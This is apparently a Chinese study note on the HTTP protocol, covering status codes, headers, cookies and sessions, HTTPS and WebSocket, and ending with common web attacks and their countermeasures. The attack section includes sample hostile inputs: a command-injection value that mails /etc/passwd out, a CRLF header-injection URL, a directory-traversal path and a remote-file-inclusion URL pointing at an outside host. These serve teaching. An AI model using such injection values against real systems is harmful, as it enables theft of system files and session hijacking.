HTTP协议

 

协议

HTTP是无状态的协议。

方法

  • GET:获取资源
  • POST:传输实体主体
  • PUT:传输主体
  • DELETE:删除文件
  • HEAD:获得报文首部(用于确认URI的有效性及资源更新的日期时间等)
  • OPTIONS:询问支持的方法
  • TRACE:查询发送出去的请求是怎样被加工修改的。易引发XST(Cross-Site Tracing,跨站追踪)攻击。
  • CONNECT:要求用隧道协议连接代理,使用SSL(Secure Sockets Layer,安全套接层)和TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。

管线化

持久连接使得多数请求以管线化方式发送称为可能。可以同时发送多个请求。

使用Cookie的状态管理

HTTP是无状态协议。为了解决需要保存状态的需求,引入Cookie技术,通过在请求和响应报文中写入Set-Cookie字段来控制客户端的状态。

服务器端发现客户端发送过来的Cookie后,会检查从哪一个客户端发来的连接请求,然后对比服务器上的记录,最后得到之前的状态信息。

状态码

  • 类别 原因短语
  • 1xx Informational(信息性状态码) 接收的请求正在处理
    2xx Success(成功状态码) 请求正常处理完毕
    3xx Redirection(重定向状态码) 需要进行附加操作以完成请求
    4xx Client Error(客户端错误状态码) 服务器无法处理请求
    5xx Server Error(服务器错误状态码) 服务器处理请求出错

2xx

  • 200:OK
  • 204:No Content。请求 -> 请求处理成功,但没有资源可返回。
  • 206:Partial Content。只想要其中一部分 -> 返回资源的某一部分

3xx

  • 301:Moved Permanently。请求(客户端更新书签) -> 资源的uri永久重定向
  • 302:Moved Temporarily。请求 -> 资源的uri临时重定向,(需用户确认)将post请求改为get请求
  • 303:See Other。请求 -> 临时重定向,将post请求改为get请求
  • 304:Not Modified。附带条件的请求 -> 资源已找到,但未符合请求
  • 307:Temporary Redirect。(同302,但不会将post请求转为get请求)

4xx

  • 400:Bad Request。请求 -> 报文中存在语法错误,无法理解
  • 401:Unauthorized。请求 -> 本页面需要认证/认证失败
  • 403:Forbidden。请求 -> 不允许访问这个资源(没有权限等原因)
  • 404:Not Found。请求 -> 服务器上没有请求的资源

5xx

  • 500:Internal Server Error。请求 -> 内部资源出了故障
  • 503:Service Unavailable。请求 -> 服务器处于超负载或正在停机维护

HTTP首部

HTTP报文结构

请求:

GET/HTTP/1.1                                       请求行
————————————————————————————————————————————————————————
Host: qq.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rb:13.0)
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en; q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache                       各种首部字段
————————————————————————————————————————————————————————
空行(CR+LF)

响应:

HTTP/1.1 200 OK                                    请求行
————————————————————————————————————————————————————————
Date: Fri, 13 Jul 2012 01:02:03 GMT
Server: Apache
Last-Modified: Fri, 31 Aug 2007 02:02:20 GMT
ETag: "35bae1-16a-46d776ac"
Accept-Ranges: bytes
Content-Length: 362
Connection: close
Content-Type: text/html                       各种首部字段
————————————————————————————————————————————————————————
空行(CR+LF)
————————————————————————————————————————————————————————
<html xmlns="http://www.w3.org/1999/xhtml">
<head></head>
<body>
    <h1>hi</h1>
</body>
</html>                                          报文主体

发送多种数据的多部分对象集合

邮件中写入文字并添加多份邮件,是因为采用MIME(Multipurpose Internet Mail Extensions,多用途因特网邮件扩展)机制,允许邮件处理文本,图片,视频等多个不同类型的数据。

HTTP协议中也采用多部分对象集合,发送的一份报文主体内可含有多类型实体。通常在图片或文本文件等上传时使用。多部分对象集合包含的对象如:multipart/form-datamultipart/byteranges

HTTPS

HTTPS使用SSL(Secure Socket Layer)和TLS(Transport Layer Security)这两个协议。

SSL

ssl握手过程

客户端                  服务器
    请求
    ——————————————————>
    
    公钥证书
    <——————————————————

    K*(MS)=EMS
    ——————————————————>



MS:主密钥
EMS:使用公钥加密的主密钥

IPsec

  • 主要用于网关到网关,或网关到主机的方案。(属于vpn隧道协议)
  • vpn协议还有:PPTP,L2TP协议。主要用于远程客户机访问局域网方案。
  • 也可以使用SSL,具有高层安全协议的优势。

身份认证

Session管理及Cookie应用

客户端                          服务器
    1.发送已登录信息(用户ID,密码)
    ——————————————————————————>
    
    2.发送包含Session ID的Cookie
    Set-Cookie: PHPSESSID=028a8c...
    <——————————————————————————向用户发送Seesion ID,记录认证状态
    
    3.发送包含Session ID的Cookie
    Set-Cookie: PHPSESSID=028a8c...
    ——————————————————————————>通过验证Session ID来判断对方是真实用户

保护密码

先给密码加盐(salt),再散列(hash)函数计算,保存。

基于HTTP的功能追加协议

Ajax

Ajax(Asynchronous JavaScript and XML,异步JavaScript与XML技术),利用JavaScript和DOM(Document Object Model,文档对象模型)的操作,以达到局部Web页替换加载的异步通信手段。

Comet

用于推送服务器端消息。

为了实现推送功能,Comet会先将响应置于挂起状态,当服务器端有内容更新时,再返回该响应。

虽然可以做到实时更新,但为了保留响应,一次连接的持续时间也变长了。期间为了维持连接会消耗更多的资源。

WebSocket

WebSocket为了解决Ajax和Comet使用的http协议的瓶颈问题。

一旦Web服务器与客户端之间建立起WebSocket协议的通信连接,之后所有的通信都依靠这个专用协议进行。通信过程中可互相发送JSON,XML,HTML或图片等任意格式的数据。

由于是建立在HTTP基础上的协议,因此连接的发起仍是客户端,一旦确立WebSocket通信连接,无论服务器还是客户端,任意一方都可直接向对方发送报文。

具备:推送功能,减少通信量。

安全

输出值转义不完全

对策:

  • 客户端验证
  • 服务器端验证:输入值验证,输出值转义

SQL注入攻击

SQL注入(SQL Injection)是针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击。

危害:

  • 非法查看或篡改数据库内的数据。
  • 规避认证。
  • 执行和数据库服务器业务关联的程序等。

对策:

  • 使用预编译。
  • 使用存储过程。

XSS

XSS(Cross-Site Scripting,跨站脚本攻击)是指通过存在安全漏洞的Web网站注册用户的浏览器内,运行非法的HTML标签或JavaScript进行的一种攻击。

动态创建的HTML部分有可能隐藏着安全漏洞。

危害:

  • 利用虚假输入表单骗取用户个人信息。
  • 利用脚本窃取用户的Cookie值,被害人在不知情的情况下,帮助攻击者发送恶意请求。
  • 显示伪造的文章或图片。

对策:

  • 禁止跨站操作。
  • 在Cookie添加httponly属性,不允许js操作。

OS命令注入攻击

OS命令注入攻击(OS Command Injection)是指通过Web应用,执行非法的操作系统命令达到攻击的目的。

只要在能调用Shell函数的地方就存在被攻击的风险。

例如:发邮件,程序后台通过调用sendmail命令发送邮件。
open(MAIL, “/usr/sbin/sendmail $adr”)
将$adr填写为
; cat /etc/passwd | mail test@example.com
这将窃取系统文件内容,发送到指定邮箱

HTTP首部注入攻击

HTTP首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的攻击。

危害:

  • 设置任何Cookie信息。
  • 重定向至任意URL。
  • 显示任意的主体(HTTP响应截断攻击)。

例如:修改首部
从 Location:http://example.com/?cat=101
改为Location:http://example.com/?cat=101%0D%0ASet-Cookied:+SID=123456
其中%0D%0A代表HTTP报文中的换行符,这可将会话ID设置成SID=123456的Set-Cookie首部字段
如使用2个换行%0D%0A%0D%0A,可作HTTP首部与主体所需的空行,可在后面伪造主体。这称作HTTP响应截断攻击。

邮件首部攻击

通过在邮件地址处,添加%0D%0A,在邮件报文中代表换行符。之后可追加发送人,也可追加消息。

目录遍历攻击

目录遍历攻击(Directory Traversal)是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。

例如:修改url
原本从/www/log/文件目录下读取指定的文件,被修改
从 http://example.com/read.php?log=test.log
改 http://example.com/read.php?log=../../etc/passwd

远程文件包含漏洞

远程文件包含漏洞是指当部分脚本内容需要从其它文件读入时,攻击者利用指定外部服务器的url充当依赖文件。

例如:修改url
从 http://example.com/foo.php?mod=news.php
改 http://example.com/foo.php?mod=http://hackr.com/cmd.php

点击劫持

点击劫持(Clickjacking)是指利用透明的按钮或链接做成陷阱,覆盖在Web页面上,然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段。又称界面伪装。

例如:
以SNS网站的注销功能为例,通过设置一个点击劫持,当用户点击到透明的按钮时,实际上点击了指定透明元素的iframe页面的SNS注销按钮。利用用户自己的登录信息,用户就注销了自己的会员身份。

DoS攻击

DoS攻击(Denial of Service)是让运行的服务停止的攻击。被称为拒绝服务攻击。

集中利用访问请求造成资源过载,资源用尽的同时,就呈停止状态。或通过攻击安全漏洞使服务中止。

多台计算机发起的Dos攻击称为DDoS攻击(Distributed Denial of Service)。

设计引发的安全漏洞

容易被推测的文件名及目录名

例如:
http://www.example.com/entry/entry_081201.log,
容易被推测出下一个文件为entry_081202.log

备份文件

例如:
http://www.example.com/cgi-bin/entry.cgi (原始文件)
http://www.example.com/cgi-bin/entry.cgi~ (备份文件)
http://www.example.com/cgi-bin/entry.bak (备份文件)
由于编辑软自动生成的备份文件无执行权限,有可能以源代码形式显示。

不正确的错误消息处理

Web应用的错误消息内包含对攻击者有用的信息。

Web应用不必在用户的浏览画面上展现详细的错误消息,这对攻击者来说,有可能是给他们下一次攻击的提示。

例如:
登录错误提示:”邮件地址未注册”,
攻击者可以判断邮件地址是否在这个Web网站上注册过。
建议提示消息的内容仅保留到”认证错误”的程度。

后门程序

后门程序(Backdoor)是指开发设置的隐藏入口,可不按正常步骤使用受限功能。